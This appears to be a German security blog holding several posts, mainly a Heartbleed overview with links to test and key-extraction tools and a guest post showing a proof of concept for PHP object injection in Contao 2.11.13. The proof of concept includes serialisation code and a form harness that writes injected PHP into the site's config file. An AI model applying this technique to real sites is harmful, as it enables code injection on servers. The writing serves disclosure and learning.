Die Slides können hier heruntergeladen werden:
“Why Antivirus Software fails” – Deepsec 2014
Category: Allgemein
Altes Zeug: Impossible Tetris
Siehe hier.
Artikel Antivirus Evasion
Der Artikel kann hier runtergeladen werden, viel Spass beim lesen.
Heartbleed
Hier mal eine kurze Zusammenfassung zum Thema Heartbleed, auch um mich selbst etwas zu sortieren. Unterm Strich mehr eine kleine Linksammlung.
Das Problem
Durch einen Programmierfehler ist es möglich 64K Speicher aus dem OpenSSL Adressebereich auszulesen. Hier können alle möglichen Daten liegen, die dann von Angreifern abgegriffen und genutzt werden können. Da der Fehler bereits seit zwei Jahren besteht, sollte geprüft werden, ob eine betroffene Version installiert war und v.a. ist.
Wie der Fehler zustande kommt kann hier, hier und hier nachgelesen werden.
Die Serverseite
Um Server zu testen gibt es diverse Webseiten:
– http://filippo.io/Heartbleed/
– http://possible.lv/tools/hb/
Und Scripte:
– https://github.com/FiloSottile/Heartbleed (in go geschrieben)
– https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl
Betroffene Daten sind z.B.:
– Cookies
– Zugangsdaten von Benutzern, wie bei der Login Seite von Yahoo
– private Keys, siehe hier
Was natürlich aufgrund der Natur der Schwachstelle nicht heisst, dass ein Serverdienst der betroffen ist auch tatsächlich wichtige Daten preisgibt.
Neben HTTPS sind auch POPS, IMAPS usw. betroffen.
Clients
Da auch Clients begroffen sein können (Browser sind bisher nicht betroffen) hier zu Prüfung noch ein paar Tools:
– Pacemaker simuliert einen Server, um Clients auf die Schwachstelle zu überprüfen
– Heartbleed Detector prüft Android Geräte
Bisher habe ich nur gesehen, das curl in manchen Linux Distributionen betroffen war.
Allerdings: Serverbetreiber die betroffen waren sollten Ihre Zertifikate getauscht und alte Zertifikate für ungültig erklärt haben. Clients sind hier zum teil nicht korrekt eingerichtet, z.B. wenn die entsprechenden Sperrlisten nicht heruntergeladen werden können, wird das alte Zertifikate im manchen Fällen weiter akzeptiert.
Betroffen Produkte und Webseiten
Hier eine ganz gute Liste mit betroffenen Seiten.
Cisco, Juniper und andere Hersteller haben Listen mit betroffenen Produkten zusammengestellt.
Fazit
Betroffene Dienste wie wie z.B. Freemail Dienste haben es wohl bisher zumindest teilweise Ihre Kunden nicht informiert oder aber nur allgemein empfohlen, Passwörter zu ändern, da will man wohl keine Kunden vergräzen. Auch liefen betroffene Dienste z.T. auch noch lange nach bekanntwerden der Lücke weiter, Stundenlang war es Angreifern möglich, teilweise sensible Daten von Benutzern abzugreifen. Meiner Meinung nach ein Unding.
Auf der Seite der Hersteller, die die betroffenen OpenSSL Version einsetzen, muss schnell gehandelt werden. Wenn sensible Daten, wie Session Cookies oder Klartext Passwörter ausgelesen werden können sollte der Dienst in meinen Augen durch die Administratoren abgestellt werden, bis ein Patch bereit steht.
Extrem wichtig ist das Thema Systemhärtung. Administratoren, die die Heartbeat Funktion nicht aktiviert haben, waren auch nicht betroffen.
Mir stellen sich noch folgende Fragen, die zum Teil auch allgemeiner Natur sind:
– Sollte in der Ausbildung und im Studium das Thema Sicherheit nicht eine größere Rolle spielen?
– Inwieweit ist es sinnvoll für technische Analysen Netzwerkverkehr mitgeschnitten werden? Ist ja auch Datenschutztechnisch eine interessante Frage. Wie sieht das aus mit Aufzeichnung zur Analyse ob Daten weg sind und im Gegensatz dem Datenschutz der ggf. verletzt wird, wenn man Netzwerkverkehr mitschneidet?
– Wie hätte man hier loggen müssen?
Ich bin mal gespannt, welche Effekte sich in nächster Zeit noch durch die Heartbleed Schwachstelle ergeben.
Update 15.04.2014: Inzwischen gibt es auch was, um den Private Key zu extrahieren, sofern überhaupt möglich: https://github.com/robertdavidgraham/heartleech
Außerdem gibts natürlich von den meisten Pentestiing Tools entsprechende Plugins, z.B. von Nessus, nmap, metasploit usw..
PHP-Object-Injection in Contao 2.11.13
Dies ist ein Gastbeitrag von Ruben Rögels.
Disclaimer
Der Artikel beschreibt einen möglichen Angriffsvektor für eine potentielle PHP-Object-Injection in Contao 2.11.13 und früher.
Er dient in keiner Weise als Aufforderung oder Anleitung.
Die Sicherheitslücke wurde darüber hinaus auch sehr schnell behoben:
- https://contao.org/de/news/contao_2-11-14.html
- https://contao.org/de/news/contao_2-11-15.html
- https://contao.org/de/news/contao_2-11-16.html
Anlass
Am 03. Februar wurde Contao 2.11.14 veröffentlich (https://contao.org/de/news/contao_2-11-14.html).
In diesem Release wurde eine potentielle PHP-Object-Injection behoben, heißt es in der Meldung. Entdeckt wurde die Lücke von Pedro Ribeiro. Hier kann sein PoC eingesehen werden: https://github.com/pedrib/PoC/blob/master/contao-3.2.4.txt
Da ich selbst Contao verwende, habe ich mich mit der Problematik beschäftigt und dabei unabhängig von Pedro ein PoC implementiert.
serialize() und unserialize()
Bevor ich den konkreten Fall in Contao erläutere, möchte ich den Angriffsverktor generell kurz beschreiben.
PHP bietet die Möglichkeit Daten, und damit auch Objekte, in speicherbare Form zu überführen. Hierzu dient die serialize()-Funktion.
Beispiel
Klasse “User”
class User {
public $name = '';
public function setName($name) {
$this->name = $name;
}
public function getName() {
return $this->name;
}
}
System “A”:
$user = new User();
$user->setName('Pedro');
$serialized = serialize($user);
file_put_contents('saved_object.txt',$serialized);
Um aus der serialisierten Repräsentation des Objekts wieder ein instanziertes Objekt zu erhalten, muss die unserialize()-Funktion genutzt werden:
System “B”:
$serialized = file_get_contents('saved_object.txt);
$user = unserialize($serialized);
echo $user->getName();
Und nun erscheint “Pedro”. Wir haben das Objekt also auf einem System A serialisiert, auf ein System B übertragen und können dort nach der Deserialisierung per getName() die gespeicherten Daten abrufen.
Schlussfolgerung
Die Datei “saved_object.txt” kann also zwischen zwei Applikationen ausgetauscht werden. Die Einzige Voraussetzungen ist, dass in beiden Applikationen die gleiche Klasse “User” existiert, da diese von der unserialize()-Funktion geladen werden muss.
Am Rande: PHP ist es egal, ob es tatsächlich die gleiche Klasse ist, wenn der Klassen-Name auf dem Ziel-System existiert, wird die Klasse geladen und mit den Daten der serialisierten Repräsentation befüllt.
Nun steht die Frage im Raum: Was geschieht, wenn eine Benutzereingabe Argument der unserialize()-Funktion ist.
Mechanik in Contao
Genau diese Konstellation existiert in Contao 2.11.13 (und vermutlich auch davor).
Bevor ich ins Detail gehe, beschreibe ich die Mechanik, die in Contao problematisch ist.
Contao besitzt eine Config-Klasse.
Diese ermöglicht das Lesen und Schreiben der System-Konfiguration, welche in der Datei “localconfig.php” liegt.
Diese Datei wird per __destruct()-Methode jedes mal geschrieben, wenn die Daten in der Config-Klasse verändert wurden. Dies wird mit der Eigenschaft “blnIsModified” überprüft.
Voraussetzung 1: Die Config-Klasse bietet also prinzipiell eine Möglichkeit Dinge in eine ausführbare PHP-Datei zu schreiben.
Eine weitere Wichtige Rolle spielt die Input-Klasse.
Diese säubert Benutzereingabe. Hierzu werden u.a. die Inhalte der Superglobals $_POST und $_GET in die Klasse kopiert und anschließend bereinigt (XSS, Tags, Entitäten, etc.).
Dies geschieht aber nur vollständig beim Aufruf von Input::post() oder Input::get(). Wird aber Input::postRaw() verwendet, finden viele der Bereinigungen nicht statt.
An dieser Stelle sei auch angemerkt, dass die serialisierte Repräsentation eines Objekts Nullbyte-Stings enthalten kann, die einen HTTP-Request ohne Maskierung in meinen Versuchen nicht überlebt haben.
Voraussetzung 2: Die serialisierte Repräsentation des Objekts überlebt die Input Sanitization.
Zudem besitzt Contao eine Widget-Basisklasse, von der alle Widgets, also Eingabefelder, abgeleitet werden. Die Widget-Klasse implementiert Validierungen der Eingaben. Im Zuge der Validierung wird die Eingabe durch die unserialize()-Funktion geschleift.
Voraussetzung 3: unserialize() wird auf eine Benutzereingabe angewendet
Hürden
Die einzigen Hürden waren für mich die Nullbyte-Strings und Zeilenumbrüche.
Diese entstehen beim Serialisieren, wenn das zu serialisierende Objekt “protected” oder “private” Eigenschaften besitzt.
Serialisierte Config-Objekte
Da sich die unserialize()-Funktion aber, wie bereits vorher beschrieben, nicht daran stört, dass in der serialisierten Repräsentation Eigenschaften public sind, die in der Klasse tatsächlich aber protected sind, können wir in unsere Config-Klasse die zu störenden Nullbyte-Strings führenden protected Deklarationen entfernen.
Anschließend wird der Config noch der eigentliche Schadcode hinzugefügt:
$cfg = Config::getInstance();
$cfg->add("throw new Exception('Opps!'); $dummy",null);
$serialized = serialize($cfg);
file_put_contents('evil_config.txt',$serialized);
Nun müssen aus der “evil_config.txt” noch die Zeilenumbrüche entfernt werden. Dabei ist zu beachten, dass die Längenangabe der Strings entsprechend angepasst wird:
Dieser String lässt sich nun in einem Eingabefeld abschicken:
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
</head>
<body>
<form method="post">
<textarea name="name"></textarea>
<input name="submit" value="los" type="submit" />
</form>
</body>
</html>
<?php
define('TL_MODE','FE');
define('BYPASS_TOKEN_CHECK',true);
require_once('../../initialize.php');
$input = Input::getInstance();
if($input->post('submit')) {
$w = new TextArea();
$w->value = $input->postRaw('name');
$w->validate();
}
In meinen Versuchen konnte ich unter Benutzung von Input::postRaw() die localconfig.php beliebig verändern und mit Input::post() zumindest leeren.
Blog über Shellcoding
Für die SLAE Zertifizierung habe ich ein neues Blog erstellt, hier gehts um Shellcoding:
Vortrag Backtrack Day 2013 – Antivirus Evasion
Kurz und bündig: Hier gibts die Slides zu meinem Vortrag “Antivirus Evasion: Von der Idee zum PoC” vom Backtrack Day 2013.
Evans Debugger unter Ubuntu 12 installieren
Evans Debugger ist sozusagen das Äquivalent zu ollydbg aus der Windowswelt.
Hier eine kurze Anleitung, wie man das Programm unter Ubuntu 12 (32 Bit) installieren kann.
$ sudo apt-get update
$ sudo apt-get install libqt4-dev libboost1.48-all-dev subversion
$ svn checkout http://edb-debugger.googlecode.com/svn/trunk/ edb-debugger
$ cd edb-debugger
$ qmake
$ make
$ sudo make install
Im Home Verzeichnis
$ mkdir .edb
$ whereis edb
edb: /bin/edb /lib/edb
Dann noch die Verzeichnisse in edb korrekt einrichten.
Review “Malicious Software and its Underground Economy: Two Sides to Every Story”
Vom 17.06.2013 – 27.07.2013 habe ich an dem Kurs “Malicious Software and its Underground Economy: Two Sides to Every Story” teilgenommen, der bei coursera.org angeboten wurde und (hoffentlich) auch wieder angeboten wird.
Themen waren unter anderem statische und dynamische Analyse von Malware, Mobile Malware, Geschäftsmodelle im Malware Bereich und die Kosten durch die Schäden von Malware. Dr. Lorenzo Cavallaro weiß anscheinend wovon er redet, offensichtlich hat er sich auch schon sehr praktisch mit der Analyse von Botnetzen und Malware auseinandergesetzt.
Persönlich haben mir die Lektionen über statische und dynamische Analyse von Malware am besten gefallen, die vor allem mit der Hilfe von IDA durchgeführt wurde. Dazu gehörten auch praktische Beispiele (teilweise mit Quellcode und ausführbaren Dateien) und das Bonus Quiz, das mit IDA gelöst werden konnte. Hier kamen auch Anti-Debugging Techniken zum Einsatz. Um auf die Lösung zu kommen musste ein verschlüsselter String von einer ausführbaren Linux Datei “geknackt” werden. Unter dem Strich war die Lösung dann aber etwas zu offensichtlich, das Quiz hat aber dennoch viel Spaß gemacht.
Nicht so ideal waren die Aufgaben, die nach jeder Lektion zu lösen waren. Hier mussten im Multiple-Choice-Verfahren Fragen beantwortet werden. Für jede Frage gab es vier Antworten, was ja normalerweise OK wäre. Allerdings hatte man insgesamt drei Versuche, dadurch war es einfach die geforderte Punktzahl zu erreichen.
Wer den Kurs machen will, wenn er das nächste Mal angeboten wird, sollte zumindest über Linux Kenntnisse verfügen. Assembler und C Kenntnisse sollten auch vorhanden sein, sonst wird es sehr schwierig.
Insgesamt ein lohnenswerter Kurs.
OSCP Rückblick
Vor Kurzem habe ich die OSCP Prüfung bestanden, hier ein kurzer Rückblick auf die abschliessende Prüfung und den vorhergehenden Kurs. Ich werde nicht zuviel verraten um möglichen Kandidaten den Spass nicht zu verderben :-).
Der Kurs
Nach der Anmeldung erhält man die Zugangsdaten mit denen man sich über VPN mit dem Labor verbindet. Das Labor besteht aus mehreren Netzwerken, anfangs hat man zu einem Netzwerk mit etwa 30 Rechnern Zugang. Mit dem Schulungsmaterial lernt man nach und nach die verschiedenen Techniken um sich Zugriff auf die verschiedenen Rechner zu erhacken.
Das Handbuch und die Videos geben dazu eine gute Anleitung, vieles muss man sich auch selbst erarbeiten, auch hier zieht das Motto des Kurses “try harder”. Einige der Rechner sind einfach zu knacken, es sind aber auch richtig harte Nüsse dabei. Erlernt werden u.a. netcat, Umgang mit verfügbaren Exploits, Entwicklung einfacher eigener Exploits (dieses Kapitel hat mir persönlich viel Spass gemacht), metasploit, Anwendung lokaler Exploits (z.B. PDF und IE Attacken) usw.. In den weiteren Netzwerken erlernt man dann u.a. Pivoting Fähigkeiten, die Rechner sind i.d.R. auch etwas schwieriger zu knacken.
Zum Glück habe ich mir für alles zusammen drei Monate Zeit genommen. Die Vorbereitung ist zwar bestimmt auch in kürzerer Zeit machbar, allerdings macht es auch einfach Spass, die verschiedenen Netzwerke und Rechner zu knacken.
In den begleitenden Foren sind immer mal wieder Beschwerden zu finden, das Schulungsmaterial sei veraltet, oder dieses oder jenes würde so nicht funktionieren. Das mag zwar an manchen Stellen korrekt sein, allerdings bin ich nach kurzer Recherche immer schnell weiter gekommen. Wozu gibts man? Wenn ich mal Hilfe gebraucht habe (was nur selten der Fall war) wurde ich immer sanft auf den richtigen Weg gestossen. Ich habe dazu ausschliesslich den Mailsupport benutzt.
Die Prüfung
Hier werde ich jetzt etwas vage. Zuerst gibts wieder Zugangsdaten, mit denen man sich auf das Prüfungsnetz verbindet. Außerdem eine kurze Anleitung, was zu tun ist und welche Tools erlaubt sind. Dazu findet man aber auch schon vorher Hinweise in den Foren. Nach meiner Einschätzung ist die Prüfung gut machbar, wenn man die meisten Rechner im ersten Netzwerk geknackt hat (so ist es auch “offiziell” empfohlen).
Das Fazit
Was soll ich groß sagen? Der Kurs und die Prüfung sind Klasse. Wer sich für IT Sicherheit und insbesondere Penetration Testing interessiert ist auf jeden Fall richtig aufgehoben. Hier lernt man nicht stur Tools und theroretische Fragestellungen, sondern trainiert ganz praktisch eine bestimmte Denk- und Arbeitsweise. Die unterschiedlichen Systeme sind eine schöne Spielwiese um Erfahung zu sammeln.
Meiner Meinung nach sollte man aber schon etwas Vorwissen mitbringen um etwas von dem Kurs zu haben. Ich selbst habe Windows und Linux Administrations Erfahrung und damit bin ich auch immer wieder mit diversen IT Sicherheits Themen in Berührung gekommen. Außerdem habe ich beruflich und privat mit unterschiedlichen Programmiersprachen meine Erfahrungen gesammelt. Außerdem sollte man ein hohes persönliches Interesse und Engagement mitbringen, sonst bekommt man evtl. irgendwann Motivationsprobleme. Das ist definitv keine Zertifizierung, die man sich einfach nur als weiteren Schein abheftet, sondern an der man auch wachsen kann.


